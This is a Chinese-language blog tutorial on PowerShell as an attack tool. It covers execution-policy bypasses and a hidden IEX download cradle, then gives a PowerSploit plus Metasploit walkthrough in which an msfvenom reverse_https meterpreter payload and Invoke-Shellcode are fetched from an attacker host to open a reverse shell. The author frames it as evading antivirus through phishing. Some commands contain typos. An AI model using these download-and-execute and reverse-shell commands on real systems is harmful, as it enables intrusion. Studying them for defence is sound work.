认识powershell攻击

8 篇文章 0 订阅
7 篇文章 1 订阅

简介:PowerShell是一种基于任务的命令行shell和脚本语言建立在net。 PowerShell帮助系统管理员和高级用户快速自动化管理的任务 操作系统(Linux、macOS和Windows)和过程。
PowerShell命令允许您从命令行管理电脑。 PowerShell供应商让你 访问数据存储,如注册表和证书存储,尽可能轻松地访问文件 系统。其可读性,易用性,基于当前所有shell之首。正是因为powershell的这些特点所以它正吸引着许多攻击者,使他成为一个非常流行且得力的攻击工具。

powershell具有以下几个优点:

  • 内置在每个所支持windows版本中(windows7及以上)
  • powershell运行于内存中,不需要写入磁盘。
  • 目前很多工具基于powershell开发。
  • 可以从另一个系统下载powershell脚本并运行。
  • 很多安全软件并不能检测到powershell的活动
  • powershell不会被阻止运行
  • powershell命令不区分大小写
  • 可以通过cmd进入powershell

对于我们学习powershell攻击,主要运用下面两个场景:
1,我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令
2,我们已经到了对方网络,再不济也是一台DMZ的win-server,那么我们利用ps做的事情那么自然而然的是对内网继续深入

powershell命令

powershell命名规范相当一致,都采用【动词加名词】的形式。如get-host,动词部分一般是add,new,get,remove,set等。

常用的powershell命令
清屏 :clear|cls
查看版本: Get-Host
新建文件:new-ltem test.txt-ltem type file
显示文件内容文件:get-content test.txt
删除目录:remove-ltem whiltcellclub
获取当前所在的位置:get-location
设置当前的位置:set-location C:\windows
列出当前目录下的所有文件:Get-ChildItem -Recurse
更多详细的命令,参考https://blog.csdn.net/Mr_Pang/article/details/50571866

powershell基础

关于powershell的基础可以参照这个在先教程。https://www.pstips.net/powershell-online-tutorials

powershell执行策略

如果在运行powershell时出现报错,这个是powershell的安全执行策略。
PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略
介绍如下:

名称说明
Restricted受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。
AllSignedAllSigned 执行策略允许执行所有具有数字签名的脚本
RemoteSigned当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。
Unrestricted这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本
BypassBypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。
UndefinedUndefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。

一般在实战中用的最多的执行策略就是ExecutionPolicy Bypass因为他可以执行任何脚本,并且不会报错。

这里有16种绕过执行策略的方法,详细见这里https://www.jianshu.com/p/3c2f048b2870

我这里列举3中方法绕过

  • 绕过本地权限执行
    1,上传xxx.ps1到目标服务器,在cmd的环境下,在目标服务器本地执行该脚本

powershell.exe -ExecutionPolicy Bypass -file xxx.ps1

  • 本地隐藏绕过权限执行脚本

powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -nologo -nonlnteractive -noprofile -file xxx.ps1

  • 用IEX下载远程PS1脚本绕过权限执行

powershell.exe -ExecutionPolicy Bypass-windowstyle hidden-noprofile-noni IEX(new-objectnet.webclient).downloadstring(“xxx.ps1”);[parameters]

对上述命令的参数进行说明:

ExecutionPolicy Bypass:绕过执行安全策略 windowstyle hidden:隐藏窗口
nologo:启动不显示权限标志的powershell
nonlnteractive(-nonl):非交互powershell不为用户提供交互的提示
noprofile(-nop):powershell控制台不加载当前用户的配置文件
noexit:执行后不退出shell.这在使用键盘记录等脚本时十分重要

在这里插入图片描述
powershell的脚本调用方法:

  • 如果脚本是直接写的代码而不是只定义了函数那么直接执行脚本.script.ps1即可
  • 但是如果是载入里面的函数需要.+空格+.script.ps1
  • 或者使用Import-Module .script.ps1, 这样才能直接使用脚本的函数

powersploit攻击

安装:git clone https://github.com/PowerShellMafia/PowerSploit
启动apache服务:service apache2 start
将下载的目录放入var/www/html目录中。
在这里插入图片描述
介绍下powersploit各个模块的功能:

AntivirusBypass/ :发现杀毒软件的查杀功能
CodeExecution/ :在目标主机上执行代码
CodeExecution/ :目标主机的信息搜集工具
Mayhem/:蓝屏等破坏脚本
persistence/ :后门脚本(持久控制)
recon/:以目标主机为跳板进行内网信息侦察
scriptmodification/:在目标主机上创建或修改脚本

首先在msf中设置监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https/
set lport 4444 set lhost
192.168.85.130 run

使用msfvenom命令生成一个powershell的脚本木马

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.85.1300 lport=4444 -f powershell -o /var/www/html/test

接着在目标机powershell中输入以下命令下载此脚本

IEX (new-object new.webclient).downloadstring("http://192.168.85.130/powersploit/codeexecution/invoke-shellcode.ps1")

接着输入命令下载木马

  IEX (new-object new.webclient).downloadstring("http://192.168.85.130/test")

接着在powershell下运行以下命令

Invoke-shellcode -shellcode ($buf) -force

回到msf监听模式下发现反弹成功

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值